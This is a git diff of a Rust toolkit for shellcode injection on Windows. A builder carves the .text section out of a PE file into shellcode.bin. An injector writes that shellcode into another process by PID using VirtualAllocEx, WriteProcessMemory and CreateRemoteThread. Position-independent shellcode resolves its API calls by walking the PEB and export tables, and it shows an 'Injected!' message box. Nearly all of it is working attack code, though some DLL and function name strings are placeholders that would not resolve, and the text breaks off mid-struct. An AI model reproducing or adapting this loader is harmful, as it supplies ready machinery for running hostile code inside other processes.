diff --git a/builder/Cargo.lock b/builder/Cargo.lock index c545746..93f43f0 100644 --- a/builder/Cargo.lock +++ b/builder/Cargo.lock @@ -2,6 +2,168 @@ # It is not intended for manual editing. version = 3 +[[package]] +name = "anyhow" +version = "1.0.86" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b3d1d046238990b9cf5bcde22a3fb3584ee5cf65fb2765f454ed428c7a0063da" + [[package]] name = "builder" version = "0.1.0" +dependencies = [ + "anyhow", + "windows", +] + +[[package]] +name = "proc-macro2" +version = "1.0.85" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "22244ce15aa966053a896d1accb3a6e68469b97c7f33f284b99f0d576879fc23" +dependencies = [ + "unicode-ident", +] + +[[package]] +name = "quote" +version = "1.0.36" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0fa76aaf39101c457836aec0ce2316dbdc3ab723cdda1c6bd4e6ad4208acaca7" +dependencies = [ + "proc-macro2", +] + +[[package]] +name = "syn" +version = "2.0.66" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c42f3f41a2de00b01c0aaad383c5a45241efc8b2d1eda5661812fda5f3cdcff5" +dependencies = [ + "proc-macro2", + "quote", + "unicode-ident", +] + +[[package]] +name = "unicode-ident" +version = "1.0.12" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3354b9ac3fae1ff6755cb6db53683adb661634f67557942dea4facebec0fee4b" + +[[package]] +name = "windows" +version = "0.57.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "12342cb4d8e3b046f3d80effd474a7a02447231330ef77d71daa6fbc40681143" +dependencies = [ + "windows-core", + "windows-targets", +] + +[[package]] +name = "windows-core" +version = "0.57.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d2ed2439a290666cd67ecce2b0ffaad89c2a56b976b736e6ece670297897832d" +dependencies = [ + "windows-implement", + "windows-interface", + "windows-result", + "windows-targets", +] + +[[package]] +name = "windows-implement" +version = "0.57.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9107ddc059d5b6fbfbffdfa7a7fe3e22a226def0b2608f72e9d552763d3e1ad7" +dependencies = [ + "proc-macro2", + "quote", + "syn", +] + +[[package]] +name = "windows-interface" +version = "0.57.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "29bee4b38ea3cde66011baa44dba677c432a78593e202392d1e9070cf2a7fca7" +dependencies = [ + "proc-macro2", + "quote", + "syn", +] + +[[package]] +name = "windows-result" +version = "0.1.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5e383302e8ec8515204254685643de10811af0ed97ea37210dc26fb0032647f8" +dependencies = [ + "windows-targets", +] + +[[package]] +name = "windows-targets" +version = "0.52.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6f0713a46559409d202e70e28227288446bf7841d3211583a4b53e3f6d96e7eb" +dependencies = [ + "windows_aarch64_gnullvm", + "windows_aarch64_msvc", + "windows_i686_gnu", + "windows_i686_gnullvm", + "windows_i686_msvc", + "windows_x86_64_gnu", + "windows_x86_64_gnullvm", + "windows_x86_64_msvc", +] + +[[package]] +name = "windows_aarch64_gnullvm" +version = "0.52.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7088eed71e8b8dda258ecc8bac5fb1153c5cffaf2578fc8ff5d61e23578d3263" + +[[package]] +name = "windows_aarch64_msvc" +version = "0.52.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9985fd1504e250c615ca5f281c3f7a6da76213ebd5ccc9561496568a2752afb6" + +[[package]] +name = "windows_i686_gnu" +version = "0.52.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "88ba073cf16d5372720ec942a8ccbf61626074c6d4dd2e745299726ce8b89670" + +[[package]] +name = "windows_i686_gnullvm" +version = "0.52.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "87f4261229030a858f36b459e748ae97545d6f1ec60e5e0d6a3d32e0dc232ee9" + +[[package]] +name = "windows_i686_msvc" +version = "0.52.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "db3c2bf3d13d5b658be73463284eaf12830ac9a26a90c717b7f771dfe97487bf" + +[[package]] +name = "windows_x86_64_gnu" +version = "0.52.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4e4246f76bdeff09eb48875a0fd3e2af6aada79d409d33011886d3e1581517d9" + +[[package]] +name = "windows_x86_64_gnullvm" +version = "0.52.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "852298e482cd67c356ddd9570386e2862b5673c85bd5f88df9ab6802b334c596" + +[[package]] +name = "windows_x86_64_msvc" +version = "0.52.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bec47e5bfd1bff0eeaf6d8b485cc1074891a197ab4225d504cb7a1ab88b02bf0" diff --git a/builder/Cargo.toml b/builder/Cargo.toml index 74d6934..c5460ff 100644 --- a/builder/Cargo.toml +++ b/builder/Cargo.toml @@ -4,3 +4,12 @@ version = "0.1.0" edition = "2021" [dependencies] +anyhow = "1.0.86" + +[dependencies.windows] +version= "0.57.0" +features=[ + "Win32_System_SystemServices", + "Win32_System_Diagnostics_Debug", + "Win32_System_SystemInformation", +] diff --git a/builder/output/OLD_2shellcode.bin b/builder/output/OLD_2shellcode.bin new file mode 100644 index 0000000..fd2844e Binary files /dev/null and b/builder/output/OLD_2shellcode.bin differ diff --git a/builder/output/OLD_3shellcode.bin b/builder/output/OLD_3shellcode.bin new file mode 100644 index 0000000..765f4e0 Binary files /dev/null and b/builder/output/OLD_3shellcode.bin differ diff --git a/builder/output/OLD_4shellcode.bin b/builder/output/OLD_4shellcode.bin new file mode 100644 index 0000000..202dc4a Binary files /dev/null and b/builder/output/OLD_4shellcode.bin differ diff --git a/builder/output/OLD_5shellcode.bin b/builder/output/OLD_5shellcode.bin new file mode 100644 index 0000000..8087679 Binary files /dev/null and b/builder/output/OLD_5shellcode.bin differ diff --git a/builder/output/shellcode.bin b/builder/output/shellcode.bin new file mode 100644 index 0000000..8087679 Binary files /dev/null and b/builder/output/shellcode.bin differ diff --git a/builder/src/main.rs b/builder/src/main.rs index e7a11a9..1c48e05 100644 --- a/builder/src/main.rs +++ b/builder/src/main.rs @@ -1,3 +1,96 @@ -fn main() { - println!("Hello, world!"); +use std::{env, ffi::c_void, fs::File, io::{BufWriter, Read, Write}, ptr::read, str::from_utf8}; +use anyhow::Result; +use windows::Win32::System::{Diagnostics::Debug::{IMAGE_FILE_HEADER, IMAGE_NT_HEADERS64, IMAGE_OPTIONAL_HEADER64, IMAGE_SECTION_HEADER}, SystemServices::IMAGE_DOS_HEADER}; + +fn main() -> Result<()> { + // read the assembly dump + let src_path = collect_args(); + let mut file = File::open(src_path)?; + let mut buffer = Vec::new(); + file.read_to_end(&mut buffer)?; + + // parse DOS header + let dos_header: IMAGE_DOS_HEADER = unsafe { read_windows_struct(&buffer, 0) }; + let pe_offset = dos_header.e_lfanew as usize; + + // parse the pe header + let pe_header: IMAGE_NT_HEADERS64 = unsafe { read_windows_struct(&buffer, pe_offset) }; + let file_header: IMAGE_FILE_HEADER = pe_header.FileHeader; + let optional_header: IMAGE_OPTIONAL_HEADER64 = pe_header.OptionalHeader; + + let number_of_sections = file_header.NumberOfSections as usize; + let entry_point = optional_header.AddressOfEntryPoint; + let base_of_code = optional_header.BaseOfCode; + let entry_offset = entry_point - base_of_code; + + // parse the headers + let section_header_start = pe_offset + size_of::(); + let section_headers = &buffer[section_header_start..section_header_start + (number_of_sections * size_of::())]; + + // collect all section information first to avoid overlapping borrows + let mut text_section_info = None; + + for i in 0..number_of_sections { + let section = §ion_headers[i * size_of::()..(i + 1) * size_of::()]; + let name = from_utf8(§ion[..8])?.trim_end_matches('\u{0}'); + + // let virtual_address = u32::from_le_bytes([section[12], section[13], section[14], section[15]]) as usize; + let raw_data_ptr = u32::from_le_bytes([section[20], section[21], section[22], section[23]]) as usize; + let raw_data_size = u32::from_le_bytes([section[16], section[17], section[18], section[19]]) as usize; + + if name.starts_with(".text") { + text_section_info = Some((raw_data_ptr, raw_data_size)); + break; + } + } + + if let Some((start, size)) = text_section_info { + let dst_path = r"output/shellcode.bin"; + let shellcode = File::create(&dst_path)?; + let mut buf_writer = BufWriter::new(shellcode); + + println!("[+] Section text addr: {:p}, size: {:x}", start as *const c_void, size); + println!("[+] Section offset: {:p}", entry_offset as *const c_void); + + // Perform buffer modification + let buffer_start = start; + let buffer_end = start + 5; + let (head, _) = buffer.split_at_mut(buffer_end); + + // Calculate the offset for the jmp to our entry point + if entry_offset >= 0x80 { + // Near jmp with shorter offset + head[buffer_start] = 0xe9; // Near jmp + let offset = (entry_offset - 5) as i32; + let offset_bytes = offset.to_le_bytes(); + head[buffer_start + 1..buffer_start + 5].copy_from_slice(&offset_bytes); + } else { + // Short jmp + head[buffer_start] = 0xeb; // Short jmp opcode + head[buffer_start + 1] = (entry_offset - 2) as u8; // Offset for short jmp + } + + for i in start..start + size { + buf_writer.write(&[buffer[i]])?; + } + buf_writer.flush()?; + println!("[+] Done. Shellcode saved at {}", dst_path); + } + + Ok(()) + } + +unsafe fn read_windows_struct(buffer: &[u8], offset: usize) -> T { + read(buffer[offset..offset + size_of::()].as_ptr() as *const T) +} + +fn collect_args() -> String { + let args: Vec = env::args().collect(); + if args.len() != 2 { + panic!("[-] Expected argument path to assembly dump."); + } + + let path = args[1].clone(); + path +} \ No newline at end of file diff --git a/injector/Cargo.lock b/injector/Cargo.lock new file mode 100644 index 0000000..a578e1a --- /dev/null +++ b/injector/Cargo.lock @@ -0,0 +1,169 @@ +# This file is automatically @generated by Cargo. +# It is not intended for manual editing. +version = 3 + +[[package]] +name = "anyhow" +version = "1.0.86" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b3d1d046238990b9cf5bcde22a3fb3584ee5cf65fb2765f454ed428c7a0063da" + +[[package]] +name = "injector" +version = "0.1.0" +dependencies = [ + "anyhow", + "windows", +] + +[[package]] +name = "proc-macro2" +version = "1.0.85" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "22244ce15aa966053a896d1accb3a6e68469b97c7f33f284b99f0d576879fc23" +dependencies = [ + "unicode-ident", +] + +[[package]] +name = "quote" +version = "1.0.36" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0fa76aaf39101c457836aec0ce2316dbdc3ab723cdda1c6bd4e6ad4208acaca7" +dependencies = [ + "proc-macro2", +] + +[[package]] +name = "syn" +version = "2.0.66" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c42f3f41a2de00b01c0aaad383c5a45241efc8b2d1eda5661812fda5f3cdcff5" +dependencies = [ + "proc-macro2", + "quote", + "unicode-ident", +] + +[[package]] +name = "unicode-ident" +version = "1.0.12" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3354b9ac3fae1ff6755cb6db53683adb661634f67557942dea4facebec0fee4b" + +[[package]] +name = "windows" +version = "0.57.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "12342cb4d8e3b046f3d80effd474a7a02447231330ef77d71daa6fbc40681143" +dependencies = [ + "windows-core", + "windows-targets", +] + +[[package]] +name = "windows-core" +version = "0.57.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d2ed2439a290666cd67ecce2b0ffaad89c2a56b976b736e6ece670297897832d" +dependencies = [ + "windows-implement", + "windows-interface", + "windows-result", + "windows-targets", +] + +[[package]] +name = "windows-implement" +version = "0.57.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9107ddc059d5b6fbfbffdfa7a7fe3e22a226def0b2608f72e9d552763d3e1ad7" +dependencies = [ + "proc-macro2", + "quote", + "syn", +] + +[[package]] +name = "windows-interface" +version = "0.57.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "29bee4b38ea3cde66011baa44dba677c432a78593e202392d1e9070cf2a7fca7" +dependencies = [ + "proc-macro2", + "quote", + "syn", +] + +[[package]] +name = "windows-result" +version = "0.1.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5e383302e8ec8515204254685643de10811af0ed97ea37210dc26fb0032647f8" +dependencies = [ + "windows-targets", +] + +[[package]] +name = "windows-targets" +version = "0.52.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6f0713a46559409d202e70e28227288446bf7841d3211583a4b53e3f6d96e7eb" +dependencies = [ + "windows_aarch64_gnullvm", + "windows_aarch64_msvc", + "windows_i686_gnu", + "windows_i686_gnullvm", + "windows_i686_msvc", + "windows_x86_64_gnu", + "windows_x86_64_gnullvm", + "windows_x86_64_msvc", +] + +[[package]] +name = "windows_aarch64_gnullvm" +version = "0.52.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7088eed71e8b8dda258ecc8bac5fb1153c5cffaf2578fc8ff5d61e23578d3263" + +[[package]] +name = "windows_aarch64_msvc" +version = "0.52.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9985fd1504e250c615ca5f281c3f7a6da76213ebd5ccc9561496568a2752afb6" + +[[package]] +name = "windows_i686_gnu" +version = "0.52.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "88ba073cf16d5372720ec942a8ccbf61626074c6d4dd2e745299726ce8b89670" + +[[package]] +name = "windows_i686_gnullvm" +version = "0.52.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "87f4261229030a858f36b459e748ae97545d6f1ec60e5e0d6a3d32e0dc232ee9" + +[[package]] +name = "windows_i686_msvc" +version = "0.52.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "db3c2bf3d13d5b658be73463284eaf12830ac9a26a90c717b7f771dfe97487bf" + +[[package]] +name = "windows_x86_64_gnu" +version = "0.52.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4e4246f76bdeff09eb48875a0fd3e2af6aada79d409d33011886d3e1581517d9" + +[[package]] +name = "windows_x86_64_gnullvm" +version = "0.52.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "852298e482cd67c356ddd9570386e2862b5673c85bd5f88df9ab6802b334c596" + +[[package]] +name = "windows_x86_64_msvc" +version = "0.52.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bec47e5bfd1bff0eeaf6d8b485cc1074891a197ab4225d504cb7a1ab88b02bf0" diff --git a/injector/Cargo.toml b/injector/Cargo.toml new file mode 100644 index 0000000..9bc28c0 --- /dev/null +++ b/injector/Cargo.toml @@ -0,0 +1,16 @@ +[package] +name = "injector" +version = "0.1.0" +edition = "2021" + +[dependencies] +anyhow = "1.0.86" + +[dependencies.windows] +version= "0.57.0" +features=[ + "Win32_System_Threading", + "Win32_System_Memory", + "Win32_System_Diagnostics_Debug", + "Win32_Security", +] diff --git a/injector/src/main.rs b/injector/src/main.rs new file mode 100644 index 0000000..4cfb069 --- /dev/null +++ b/injector/src/main.rs @@ -0,0 +1,125 @@ +use std::{arch::asm, env, ffi::c_void, fs::File, io::Read, mem::transmute, process::exit, ptr::{self, null, null_mut}}; +use anyhow::Result; +use windows::Win32::{Foundation::GetLastError, System::{Diagnostics::Debug::WriteProcessMemory, Memory::{VirtualAlloc, VirtualAllocEx, VirtualFree, MEM_COMMIT, MEM_RELEASE, MEM_RESERVE, PAGE_EXECUTE_READWRITE}, Threading::{CreateRemoteThread, OpenProcess, PROCESS_VM_OPERATION, PROCESS_VM_WRITE}}}; + +fn main() { + let shellcode = match read_shellcode_file() { + Ok(s) => s, + Err(e) => panic!("[-] Unable to read shellcode from file: {e}"), + }; + + let pid = collect_proc_addr(); + + // GET HANDLE TO PID + let h_process = unsafe { OpenProcess(PROCESS_VM_OPERATION | PROCESS_VM_WRITE, false, pid) }; + let h_process = match h_process { + Ok(h) => { + println!("[+] Got handle to process ID {pid}, handle: {:?}", h); + h // return the handle + }, + Err(e) => panic!("[-] Could not get handle to pid {pid}, error: {e}"), + }; + + // allocate memory + let alloc = unsafe { + VirtualAllocEx( + h_process, + Some(null_mut()), + shellcode.len(), + MEM_COMMIT | MEM_RESERVE, + PAGE_EXECUTE_READWRITE) + }; + + println!("[+] Address of allocated memory: {:?} in process pid: {}", alloc, pid); + + let mut bytes_written: usize = 0; + + // write the shellcode + let _ = unsafe { + WriteProcessMemory( + h_process, + alloc, + &shellcode as *const _ as *const c_void, + shellcode.len(), + Some(&mut bytes_written), + ) + }; + + if (bytes_written == 0) || (bytes_written != shellcode.len() as usize) { + panic!("[-] Failed to write process memory. Shellcode length: {}", shellcode.len() as usize); + } else { + println!("[+] Bytes written: {}. Shellcode length: {}", bytes_written, shellcode.len() as usize); + } + + // unsafe { + // asm!("int3"); + // } + + let mut thread: u32 = 0; + let _ = unsafe { + CreateRemoteThread( + h_process, + None, + 0, + Some(transmute(alloc)), + None, + 0, + Some(&mut thread), + ) + }; + + if thread == 0 { + unsafe {panic!("[-] Could not create remote thread. {:?}", GetLastError());} + } else { + println!("[+] Thread created: {}", thread); + } + +} + +fn collect_proc_addr() -> u32 { + let args: Vec = env::args().collect(); + + if args.len() != 2 { + eprintln!("[-] PID required."); + exit(1); + } + + let pid = args[1].clone(); + let pid_as_int: u32 = pid.parse().unwrap(); + + pid_as_int +} + +fn read_shellcode_file() -> Result> { + let mut shellcode_file = File::open("shellcode.bin")?; + let mut shellcode_buffer = Vec::new(); + shellcode_file.read_to_end(&mut shellcode_buffer)?; + + // Allocate executable memory + // let shellcode_ptr = unsafe { + // VirtualAlloc( + // Some(null_mut()), + // shellcode_buffer.len(), + // MEM_COMMIT | MEM_RESERVE, + // PAGE_EXECUTE_READWRITE, + // ) as *mut u8 + // }; + + // if shellcode_ptr.is_null() { + // panic!("Failed to allocate executable memory."); + // } + + // // Copy shellcode to the allocated memory + // unsafe { + // std::ptr::copy_nonoverlapping(shellcode_buffer.as_ptr(), shellcode_ptr, shellcode_buffer.len()); + + // // Execute the shellcode + // let shellcode_fn: extern "C" fn() = std::mem::transmute(shellcode_ptr); + // shellcode_fn(); + + // // Free the allocated memory + // let _ = VirtualFree(shellcode_ptr as *mut c_void, 0, MEM_RELEASE); + // } + + Ok(shellcode_buffer) +} \ No newline at end of file diff --git a/shellcode/.cargo/config b/shellcode/.cargo/config index 1db95b2..6475438 100644 --- a/shellcode/.cargo/config +++ b/shellcode/.cargo/config @@ -1,21 +1,24 @@ [build] target = "x86_64-pc-windows-msvc" +# target = "i686-pc-windows-msvc" rustflags = [ - # pre-link - "-Z", "pre-link-arg=/NODEFAULTLIB", # not to use the default libraries - "--emit", "asm", # instructs the compiler to emit assembly code in addition to binary - - # post-link + # Pre Link Args + #"-Z", "pre-link-arg=/NOLOGO", + #"-Z", "pre-link-arg=/NXCOMPAT", + "-Z", "pre-link-arg=/NODEFAULTLIB", + #"-Z", "pre-link-arg=/DYNAMICBASE", + #"-Z", "pre-link-arg=/MANIFEST:NO", + "--emit", "asm", + # Post Link Args "-C", "link-arg=/ENTRY:main", + #"-C", "link-arg=/OPT:REF,ICF", "-C", "link-arg=/MERGE:.edata=.rdata", "-C", "link-arg=/MERGE:.rustc=.data", "-C", "link-arg=/MERGE:.rdata=.text", "-C", "link-arg=/MERGE:.pdata=.text", - "-C", "link-arg=/DEBUG:NONE", # disables generation of debug information - "-C", "link-arg=/EMITPOGOPHASEINFO", # generates phase information for profile-guided optimisation - "-C", "target-feature=-mmx,-sse,+soft-float" # disable mmx and sse -] - -[unstable] -build-std = ["core", "alloc"] \ No newline at end of file + #"-C", "link-arg=/INTEGRITYCHECK" + "-C", "link-arg=/DEBUG:NONE", + "-C", "link-arg=/EMITPOGOPHASEINFO", + "-C", "target-feature=-mmx,-sse,+soft-float" +] \ No newline at end of file diff --git a/shellcode/src/main.rs b/shellcode/src/main.rs index f603fb9..64b8078 100644 --- a/shellcode/src/main.rs +++ b/shellcode/src/main.rs @@ -5,9 +5,7 @@ #![allow(non_upper_case_globals)] #![allow(overflowing_literals)] - mod resolver; - -use core::{arch::asm, ffi::c_void, mem::transmute, panic::PanicInfo, ptr::null}; +use core::{arch::asm, ffi::c_void, mem::transmute, panic::PanicInfo, ptr::null_mut}; #[link(name = "vcruntime")] extern {} @@ -20,60 +18,385 @@ fn panic(_info: &PanicInfo) -> ! { loop {} } +pub type BOOLEAN = u8; +pub type HANDLE = *mut c_void; +pub type PVOID = *mut c_void; +pub type ULONG = u32; +pub type LPSTR = *mut i8; +pub type LPCSTR = *const i8; + /// FFI binding for MessageBoxA -type MessageBoxA = extern "system" fn( - handle: *const u8, - lp_text: *const u8, - lp_caption: *const u8, - t: usize, -) -> *const c_void; - -/// FFI for LoadLibraryA -type LoadLibraryA = extern "system" fn( - lib_name: *const u8, -) -> isize; - -/// FFI for -type GetProcAddress = extern "system" fn( - handle: *const usize, - proc_name: *const u8, - ) -> *mut c_void; +pub type LoadLibraryAFn = extern "system" fn(lpFileName: LPCSTR) -> PVOID; +pub type GetProcAddressFn = extern "system" fn(hmodule: PVOID, name: LPCSTR) -> PVOID; +pub type MessageBoxAFn = extern "system" fn(h: PVOID, text: LPCSTR, caption: LPCSTR, t: u32) -> u32; #[no_mangle] pub extern "C" fn main() { + unsafe { + // clean argc and argv + asm!("mov rcx, 0", "mov rdx, 0"); + // asm!("and rsp, ~0xf"); + // asm!("int3"); + } + // stack strings - let kernel_32 = b"KERNEL32.DLL\0"; - let load_library_a = b"LoadLibraryA\0"; - let get_proc_addr = b"GetProcAddress\0"; - let message_box_a = b"MessageBoxA\0"; - let user_32 = b"User32.dll\0"; + let kernel32_dll = "fff.DLL\0"; + let load_library_a = "lllll\0"; - // get virtual addresses - let load_library_a = resolver::get_function_from_exports(kernel_32, load_library_a).unwrap(); - let get_proc_addr = resolver::get_function_from_exports(kernel_32, get_proc_addr).unwrap(); + // get virtual addresses + let load_library_a_result = get_function_from_exports(kernel32_dll, load_library_a); + if load_library_a_result.is_none() { + // Handle error: Function not found + return; + } + let load_library_a = load_library_a_result.unwrap(); - // obtaining User32.dll - let load_library_a: LoadLibraryA = unsafe { transmute(load_library_a.address) }; - let user_32_dll = load_library_a(user_32 as *const u8); - let get_proc_address: GetProcAddress = unsafe { transmute(get_proc_addr.address) }; + let user32_dll = "user32.dll\0"; + let get_proc_address = "GetProcAddress\0"; + let message_box_a = "MessageBoxA\0"; - // get msg box fn - let message_box_address = get_proc_address(user_32_dll as *const usize, message_box_a as *const u8); - let message_box_a:MessageBoxA = unsafe { transmute(message_box_address) }; + let get_proc_addr = get_function_from_exports(kernel32_dll, get_proc_address).unwrap(); // align the stack to divisible by 16 unsafe { asm!("and rsp, ~0xf") }; - let msg = b"Injected!\0"; + // obtaining User32.dll + let load_library_a: LoadLibraryAFn = unsafe { transmute(load_library_a) }; + let user_32_dll = load_library_a(user32_dll.as_ptr() as *const i8); + let get_proc_address: GetProcAddressFn = unsafe { transmute(get_proc_addr) }; + + // get msg box fn + let message_box_address = get_proc_address(user_32_dll, message_box_a.as_ptr() as *const i8); + let message_box_a: MessageBoxAFn = unsafe { transmute(message_box_address) }; - // unsafe { asm!("int3") }; message_box_a( - null(), - msg as *const u8, - msg as *const u8, + null_mut(), + b"Injected!\0".as_ptr() as *const i8, + b"Injected!\0".as_ptr() as *const i8, 0x0, ); + + loop {} } +use core::{ops::Add, str::{from_utf8, from_utf8_mut}}; +/// Get the base address of a specified module. Obtains the base address by reading from the TEB -> PEB -> +/// PEB_LDR_DATA -> InMemoryOrderModuleList -> InMemoryOrderLinks -> DllBase +/// +/// Returns the DLL base address as a Option +#[allow(unused_variables)] +#[allow(unused_assignments)] +fn get_module_base(module_name: &str) -> Option { + + // let module_name: &str = from_utf8(module_name).unwrap(); + + let mut peb: usize; + let mut ldr: usize; + let mut in_memory_order_module_list: usize; + let mut current_entry: usize; + + unsafe { + // get the peb and module list + asm!( + "mov {peb}, gs:[0x60]", + "mov {ldr}, [{peb} + 0x18]", + "mov {in_memory_order_module_list}, [{ldr} + 0x10]", // points to the Flink + peb = out(reg) peb, + ldr = out(reg) ldr, + in_memory_order_module_list = out(reg) in_memory_order_module_list, + ); + + // set the current entry to the head of the list + current_entry = in_memory_order_module_list; + + // iterate the modules searching for + loop { + // get the attributes we are after of the current entry + let dll_base = *(current_entry.add(0x30) as *const usize); + let module_name_address = *(current_entry.add(0x60) as *const usize); + let module_length = *(current_entry.add(0x58) as *const u16); + + // check if the module name address is valid and not zero + if module_name_address != 0 && module_length > 0 { + // read the module name from memory + let mut buffer = [0u8; 512]; + let dll_name = unsafe { + let mut len = 0; + while len < (module_length / 2) as usize && (module_name_address as *const u16).add(len).read() != 0 { + buffer[len] = (module_name_address as *const u16).add(len).read() as u8; + len += 1; + } + from_utf8(&buffer[..len]).unwrap_or("") + }; + + // do we have a match on the module name? + if dll_name.eq_ignore_ascii_case(module_name) { + return Some(dll_base); + } + } else { + return None; + } + + // dereference current_entry which contains the value of the next LDR_DATA_TABLE_ENTRY (specifically a pointer to LIST_ENTRY + // within the next LDR_DATA_TABLE_ENTRY) + current_entry = *(current_entry as *const usize); + + // If we have looped back to the start, break + if current_entry == in_memory_order_module_list { + return None; + } + } + } +} + +/// Get the function address of a function in a specified DLL from the DLL Base. +/// +/// # Parameters +/// * dll_name -> the name of the DLL / module you are wanting to query +/// * needle -> the function name (case sensitive) of the function you are looking for +/// +/// # Returns +/// Option<*const c_void> -> the function address as a pointer +pub fn get_function_from_exports(dll_name: &str, needle: &str) -> Option { + + let dll_name = dll_name.trim_end_matches('\u{0}'); + let needle = needle.trim_end_matches('\u{0}'); + + // let dll_name = strip_null_terminator(dll_name); + // let needle = strip_null_terminator(&needle); + + // let needle = from_utf8(&needle).unwrap(); + + // if the dll_base was already found from a previous search then use that + // otherwise, if it was None, make a call to get_module_base + let dll_base: *mut c_void = match get_module_base(dll_name) { + Some(a) => a as *mut c_void, + None => { + return None; + }, + }; + + // let dll_name = from_utf8(dll_name).unwrap(); + + // check we match the DOS header, cast as pointer to tell the compiler to treat the memory + // address as if it were a IMAGE_DOS_HEADER structure + let dos_header: IMAGE_DOS_HEADER = unsafe { read_memory(dll_base as *const IMAGE_DOS_HEADER) }; + if dos_header.e_magic != IMAGE_DOS_SIGNATURE { + return None; + } + + // check the NT headers + let nt_headers = unsafe { read_memory(dll_base.offset(dos_header.e_lfanew as isize) as *const IMAGE_NT_HEADERS64) }; + if nt_headers.Signature != IMAGE_NT_SIGNATURE { + return None; + } + + // get the export directory + // https://learn.microsoft.com/en-us/windows/win32/api/winnt/ns-winnt-image_data_directory + // found from first item in the DataDirectory; then we take the structure in memory at dll_base + RVA + let export_dir_rva = nt_headers.OptionalHeader.DataDirectory[0].VirtualAddress; + let export_offset = unsafe {dll_base.add(export_dir_rva as usize) }; + let export_dir: IMAGE_EXPORT_DIRECTORY = unsafe { read_memory(export_offset as *const IMAGE_EXPORT_DIRECTORY) }; + + // get the addresses we need + let address_of_functions_rva = export_dir.AddressOfFunctions as usize; + let address_of_names_rva = export_dir.AddressOfNames as usize; + let ordinals_rva = export_dir.AddressOfNameOrdinals as usize; + + let functions = unsafe { dll_base.add(address_of_functions_rva as usize) } as *const u32; + let names = unsafe { dll_base.add(address_of_names_rva as usize) } as *const u32; + let ordinals = unsafe { dll_base.add(ordinals_rva as usize) } as *const u16; + + // get the amount of names to iterate over + let number_of_names = export_dir.NumberOfNames; + + for i in 0..number_of_names { + // calculate the RVA of the function name + let name_rva = unsafe { *names.offset(i.try_into().unwrap()) as usize }; + // actual memory address of the function name + let name_addr = unsafe { dll_base.add(name_rva) }; + + // read the function name + let mut function_name = [0u8; 256]; + let mut len = 0; + unsafe { + while len < function_name.len() && (name_addr.add(len) as *const u8).read() != 0 { + function_name[len] = (name_addr.add(len) as *const u8).read(); + len += 1; + } + } + + let function_name = from_utf8(&function_name[..len]).unwrap_or("Invalid UTF-8"); + if function_name.eq("Invalid UTF-8") { + return None; + } + + // if we have a match on our function name + if function_name.eq(needle) { + + // calculate the RVA of the function address + let ordinal = unsafe { *ordinals.offset(i.try_into().unwrap()) as usize }; + let fn_rva = unsafe { *functions.add(ordinal) as usize }; + // actual memory address of the function address + let fn_addr = unsafe { dll_base.add(fn_rva) } as *const c_void; + + return Some(fn_addr as usize); + } + } + + None +} + +/// Read memory of any type +unsafe fn read_memory(address: *const T) -> T { + core::ptr::read(address) +} + +fn wide_to_str<'a>(wide: &[u16], buffer: &'a mut [u8]) -> Option<&'a str> { + let mut len = 0; + + for &w in wide { + // convert each u16 character to u8 and store in the byte array + if w == 0 { break; } // stop at null terminator + if w > 0xFF { + return None; // non-ASCII characters are not handled here + } + if len >= buffer.len() { + return None; // buffer overflow protection + } + buffer[len] = w as u8; + len += 1; + } + + // Convert the byte array to &str + match from_utf8_mut(&mut buffer[..len]) { + Ok(s) => Some(s), + Err(_) => None, + } +} + +fn strip_null_terminator(bytes: &[u8]) -> &[u8] { + if let Some(pos) = bytes.iter().position(|&x| x == 0) { + &bytes[..pos] + } else { + bytes + } +} + +#[repr(C, packed(2))] +pub struct IMAGE_DOS_HEADER { + pub e_magic: u16, + pub e_cblp: u16, + pub e_cp: u16, + pub e_crlc: u16, + pub e_cparhdr: u16, + pub e_minalloc: u16, + pub e_maxalloc: u16, + pub e_ss: u16, + pub e_sp: u16, + pub e_csum: u16, + pub e_ip: u16, + pub e_cs: u16, + pub e_lfarlc: u16, + pub e_ovno: u16, + pub e_res: [u16; 4], + pub e_oemid: u16, + pub e_oeminfo: u16, + pub e_res2: [u16; 10], + pub e_lfanew: i32, +} + +pub const IMAGE_DOS_SIGNATURE: u16 = 23117u16; + +#[repr(C)] +pub struct IMAGE_NT_HEADERS64 { + pub Signature: u32, + pub FileHeader: IMAGE_FILE_HEADER, + pub OptionalHeader: 